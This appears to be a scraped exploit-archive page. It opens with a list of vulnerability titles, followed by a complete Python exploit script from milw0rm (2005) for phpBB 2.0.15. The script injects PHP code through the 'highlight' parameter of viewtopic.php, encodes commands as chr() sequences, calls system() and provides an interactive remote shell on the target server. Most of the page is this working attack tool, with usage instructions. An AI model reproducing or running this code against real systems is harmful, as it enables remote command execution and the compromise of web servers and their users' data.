477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
90 lines
2.6 KiB
Python
Executable file
90 lines
2.6 KiB
Python
Executable file
# tested and working /str0ke
|
|
|
|
#!/usr/bin/pyth0n
|
|
#
|
|
############################################################### this exploit for
|
|
# phpBB 2.0.15
|
|
print "\nphpBB 2.0.15 arbitrary command execution eXploit" # emulates a shell,
|
|
print " 2005 by rattle@awarenetwork.org" # rather than
|
|
print " well, just because there is none." # sending a single
|
|
# command.
|
|
import sys ####
|
|
from urllib2 import Request, urlopen
|
|
from urlparse import urlparse, urlunparse
|
|
from urllib import quote as quote_plus
|
|
|
|
INITTAG = '<g0>'
|
|
ENDTAG = '</g0>'
|
|
|
|
def makecmd(cmd):
|
|
return reduce(lambda x,y: x+'.chr(%d)'%ord(y),cmd[1:],'chr(%d)'%ord(cmd[0]))
|
|
|
|
|
|
_ex = "%sviewtopic.php?t=%s&highlight=%%27."
|
|
_ex += "printf(" + makecmd(INITTAG) + ").system(%s)."
|
|
_ex += "printf(" + makecmd(ENDTAG) + ").%%27"
|
|
|
|
|
|
def usage():
|
|
print """Usage: %s <forum> <topic>
|
|
|
|
forum - fully qualified url to the forum
|
|
example: http://www.host.com/phpBB/
|
|
|
|
topic - ID of an existing topic. Well you
|
|
will have to check yourself.
|
|
|
|
"""[:-1] % sys.argv[0]; sys.exit(1)
|
|
|
|
|
|
if __name__ == '__main__':
|
|
|
|
if len(sys.argv) < 3 or not sys.argv[2].isdigit():
|
|
usage()
|
|
else:
|
|
print
|
|
url = sys.argv[1]
|
|
if url.count("://") == 0:
|
|
url = "http://" + url
|
|
url = list(urlparse(url))
|
|
host = url[1]
|
|
if not host: usage()
|
|
|
|
if not url[0]: url[0] = 'http'
|
|
if not url[2]: url[2] = '/'
|
|
url[3] = url[4] = url[5] = ''
|
|
|
|
url = urlunparse(url)
|
|
if url[-1] != '/': url += '/'
|
|
|
|
topic = quote_plus((sys.argv[2]))
|
|
|
|
while 1:
|
|
|
|
try:
|
|
cmd = raw_input("[%s]$ " % host).strip()
|
|
if cmd[-1]==';': cmd=cmd[:-1]
|
|
|
|
if (cmd == "exit"): break
|
|
else: cmd = makecmd(cmd)
|
|
|
|
out = _ex % (url,topic,cmd)
|
|
|
|
try: ret = urlopen(Request(out)).read()
|
|
except KeyboardInterrupt: continue
|
|
except: pass
|
|
|
|
else:
|
|
ret = ret.split(INITTAG,1)
|
|
if len(ret)>1: ret = ret[1].split(ENDTAG,1)
|
|
if len(ret)>1:
|
|
ret = ret[0].strip();
|
|
if ret: print ret
|
|
continue;
|
|
|
|
print "EXPLOIT FAILED"
|
|
|
|
except:
|
|
continue
|
|
|
|
# milw0rm.com [2005-06-29]
|